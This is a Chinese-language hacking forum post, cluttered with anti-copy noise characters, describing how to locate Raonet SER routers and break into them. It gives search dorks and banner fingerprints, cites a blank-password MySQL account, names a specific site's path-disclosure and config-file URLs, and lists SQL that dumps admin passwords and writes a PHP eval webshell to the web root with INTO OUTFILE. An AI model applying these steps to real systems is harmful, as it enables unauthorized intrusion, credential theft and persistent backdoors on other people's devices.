寻找存在漏洞的路由器方法：/ h6 B9 X) Z, Y& K
5 J; ?2 F1 B1 N8 j* x1 r% \
1：google搜索'Raonet Subscriber Ethernet Router'+ m: I; R; M* f/ Z- r' o6 L. |
/ v. b9 g5 G3 s' A1 X, O6 h# h" \2：使用WebDAVScan扫80端口，http banner为thttpd/2.21b 23apr2001
% U- m- v% Y& F- ^0 P/ a
0 F4 j0 Y9 ?& H& |8 a3：扫mysql版本号判断,SER系列路由器使用的mysql版本4.0.14，默认有一个高权限的帐户mysql，口令为空。
8 `" I# b% D3 c" L5 }# b0 l* x) _9 n$ D7 P4 `0 i/ W' _" a
//还有很多方法可以批量获取,这里不发了,请自食其力 公开了大家都玩不成......
" U0 u& K# @. }8 X
) o1 R+ ?- k+ V ( F6 L& e8 \; b, {7 Q( ?
) ^9 d8 i F' r, Q
入侵步骤：7 o( Q! d( x* f+ l. r) M# E
9 r" w3 t6 D9 F) K: y. }8 \0 y
1.爆web路径，http://www.yu1u.org/src/jpgraph_line.php
3 A4 m3 o5 w& g) u. k# g, z$ x! C7 c9 q* n, C
2:查看数据库配置文件，http://www.yu1u.org/inc/conn_db.inc5 ^4 N' ?( o. M
3：得到密码后连接，查看GUI管理密码：
5 p9 X8 Y; c. T; U+ B, Ouse ser_500, J3 l9 j8 Y# n6 q$ w) J# \% m
select id,passwd from user;
9 l, t" X G2 W5 j% W2 N1 }1 m4:通过数据库写入webshell，执行命令：) [0 g, k5 Y$ [: R3 Q. U
use mysql;
/ |% C9 ~- q+ [) ncreate table ok(cmd TEXT);
8 ~0 L( r0 f! L2 hinsert into ok values("<?php @eval($_POST[cmd])?>");
3 a4 D" W; r( S6 w4 j2 Eselect * from ok into outfile "\/usr\/local\/www\/data\/src\/shell.php";
1 _& e& x* H+ d% e8 S" ?drop table ok;6 c1 U# k, q7 ~# N6 |2 ^% k
; z' W' r/ e2 Q( @- _$ O* ^! [. U5:连接后门shell.php
' a* q* h3 B- R; {& b/ z
7 q. X! e3 t9 J0 e6. 搞定！+ y+ M: v. m" a* M2 W
+ h8 J. k6 Q/ O0 F |
发表于 2012-12-10 10:30:18
收藏
支持
反对
发表于 2013-7-27 20:06:50